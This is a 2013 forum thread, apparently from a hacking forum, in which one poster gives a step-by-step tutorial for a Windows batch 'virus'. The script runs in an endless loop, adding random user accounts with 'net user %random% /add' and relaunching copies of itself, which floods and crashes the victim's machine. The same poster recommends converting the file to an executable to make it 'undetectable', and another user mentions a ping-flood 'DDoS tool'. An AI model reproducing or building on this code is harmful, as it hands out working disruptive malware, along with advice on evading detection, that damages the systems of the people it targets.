Thread: [Offline Batch \(CMD\) Virus. \(Pictures\) \(Effect Remover Tut \)](#)

ZXxHackerxXZ - November 21, 2013, 2:33 am

Hello,

I Will Be Showing You How To Create A Simple,From 3 Lines To 6 Lines Of Code Virus,All It Does Is That It Creates Users With The Rate Of 100+ Users In A Second.

Alright,

Now Lets begin,

First, Type:

@echo off = Why? And Why Type @? @echo off Tells The File NOT To Echo The Command To The Victim. @ Is To Hide Echoing The Command: echo off

Now

Just TO Make It Abit Annoying,

Type:

echo LOL! = Tells The Victim LOL! In The Window.

Now,Type

:begin = Creates A Variable (Begin) To Allow The Use Of goto begin

This Is What You Should Have Done Till Now.

Alright.

Now The Virus Part.

Type:

Net User %random% /add = Creates A User With A Random Name,100% Of Time Numbers.

start (The Name Of The Virus You Want, I Will Let It Be Gen For Now.)

So Type: start Gen.bat

The Last Step:

Type:

goto begin

This Is What You Should Have:

Now,

Click On File

Then Save As...

Save it As Anything But WAIT.....

DONT EVER FORGET TO PUT A .bat AFTER THE NAME!

WARNING: The Name You Put For The File MUST Match The Name in Start Gen.bat
For Example, I Name My File Lol.bat In The start code I must Type start Lol.bat

This Is What Should Have Displayed.

Well,Dont Run It.

It Only Works For Windows
Any Version.

Have A Nice Time Hacking!

I thought batch was dead already, we are not on DOS anymore.
Well, i think it'll still be helpful to the skids making batch "viruses".

Kristofferson - November 21, 2013, 3:00 am

I was bored in class and made something very similar but with a ping instead of echo. Called a DDoS tool :D

ZXxHackerxXZ - November 21, 2013, 6:07 am

Well,I Suggest Advance Bat To Exe Converter To Make The File COMPLETELY
Undetectable,Unreadable Script,Undetectable
File. Proof:

It is nowhere near dead for system administrators. You can do amazing things with it. Of course, there is powershell and things like that, but for administrators who are not familiar with PS, batch is amazing.

Well, i think it'll still be helpful to the skids making batch "viruses".Batch Will Never Die. It Is The Base Of Windows. A Shortcut Is Not That Easy. Since You Run The Shortcut, It Tells The CMD: "start "Location Of Original File" ".

Batch is Extremely Super, I Believe This Is The Best Coding Language, It's An Opinion. A C++ Coder May Think It Makes Impossible Things, Although, Batch Can Do Things The PC Admin Can't Do. I Found I Can Make Windows Crash By Batch. Extreme Lag, User creation Spam, And Alot More Things Are Able To Be Done By Batch.

John_Gacy - *December 20, 2013, 12:25 am*

Can't really say if i agree batch being dead. Its still quite useful.
